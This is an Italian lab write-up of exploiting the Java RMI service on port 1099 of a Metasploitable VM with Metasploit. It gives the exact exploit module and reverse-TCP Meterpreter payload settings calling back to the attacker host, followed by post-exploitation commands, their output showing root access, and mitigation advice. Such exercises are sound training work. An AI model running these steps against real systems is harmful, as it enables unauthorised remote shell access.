Obiettivo: Sfruttare una vulnerabilità del servizio Java RMI sulla porta 1099 della macchina Metasploitable per ottenere una sessione Meterpreter sulla macchina remota e raccogliere evidenze della configurazione del sistema.

Macchine Utilizzate:

- **Macchina Attaccante:** Kali Linux
    - **Indirizzo IP:** 192.168.11.111
- **Macchina Vittima:** Metasploitable
    - **Indirizzo IP:** 192.168.11.112

Passaggi Eseguiti:

- Avvio di Metasploit su Kali Linux : msfconsole

-Exploit Selezionato: use exploit/multi/misc/java_rmi_server

-Configurazione dei Parametri dell'Exploit:

set RHOST 192.168.11.112

set RPORT 1099

set PAYLOAD java/meterpreter/reverse_tcp

set LHOST 192.168.11.111

set LPORT 4444

-Lancio dell'Exploit

Exploit

Risultato: Ottenuta una sessione Meterpreter sulla macchina remota.

Raccolta di Evidenze

1. Configurazione di Rete

meterpreter > ipconfig

Output:

Interface 1

Name : eth0

Hardware MAC: 00:0c:29:3e:bc:54

MTU : 1500

IPv4 Address: 192.168.11.112

IPv6 Address: fe80::20c:29ff:fe3e:bc54

2. Tabella di Routing

meterpreter > route

Output:

Active Routes

Network Destination	Netmask	Gateway	Interface	Metric
0.0.0.0	0.0.0.0	192.168.11.1	192.168.11.112	100
192.168.11.0	255.255.255.0	On-link	192.168.11.112	100
192.168.11.112	255.255.255.255	On-link	192.168.11.112	100

3. Informazioni Aggiuntive

- **Informazioni di Sistema**

meterpreter > sysinfo

Output:

Computer : metasploitable.localdomain

-**Informazioni sull'Utente Corrente**

meterpreter > getuid

Output:

Server username: uid=0, gid=0, euid=0, egid=0

-Processi in Esecuzione

bash

Copia codice

meterpreter > ps

Output:

PID	PPID	Name	Arch	Session	User	Path
1	0	init	x86	0	root	/sbin/init

Conclusioni

Durante l'esercizio è stata dimostrata la vulnerabilità del servizio Java RMI sulla porta 1099 della macchina Met

asploitable. Utilizzando Metasploit, siamo riusciti a ottenere una sessione Meterpreter sulla macchina remota e raccogliere informazioni cruciali sulla configurazione del sistema. Ecco i dettagli riassunti delle evidenze raccolte:

Configurazione di Rete

La configurazione di rete della macchina Metasploitable include un'interfaccia di rete eth0 con l'indirizzo IPv4 192.168.11.112 e l'indirizzo MAC 00:0c:29:3e:bc:54. L'indirizzo IPv6 assegnato è fe80::20c:29ff:fe3e:bc54.

Tabella di Routing

La tabella di routing mostra che la macchina ha una rotta predefinita che passa attraverso il gateway 192.168.11.1 e utilizza l'interfaccia 192.168.11.112. La rete locale 192.168.11.0/24 è accessibile direttamente tramite la stessa interfaccia.

Informazioni di Sistema

La macchina Metasploitable sta eseguendo una versione di Linux con il kernel 2.6.24-16-server. Il nome host della macchina è metasploitable.localdomain.

Utente Corrente

L'utente attualmente in esecuzione sulla sessione Meterpreter è l'utente root, indicando che l'exploit ha ottenuto privilegi elevati.

Processi in Esecuzione

Un esempio dei processi in esecuzione include il processo init con PID 1, che è il processo principale del sistema.

Raccomandazioni

Per mitigare queste vulnerabilità, si consiglia di:

1. **Aggiornare e Patchare**: Assicurarsi che tutti i software, specialmente quelli esposti a internet come Java RMI, siano aggiornati all'ultima versione disponibile e che tutte le patch di sicurezza siano applicate.
2. **Configurazione di Firewall**: Configurare il firewall per limitare l'accesso alle porte e ai servizi essenziali, in modo da ridurre la superficie di attacco.
3. **Monitoraggio e Audit**: Implementare soluzioni di monitoraggio per rilevare attività sospette e condurre audit di sicurezza regolari per identificare e correggere eventuali vulnerabilità.
4. **Utilizzo di Autenticazione Forte**: Implementare meccanismi di autenticazione forte e controlli di accesso rigorosi per limitare l'accesso ai servizi critici.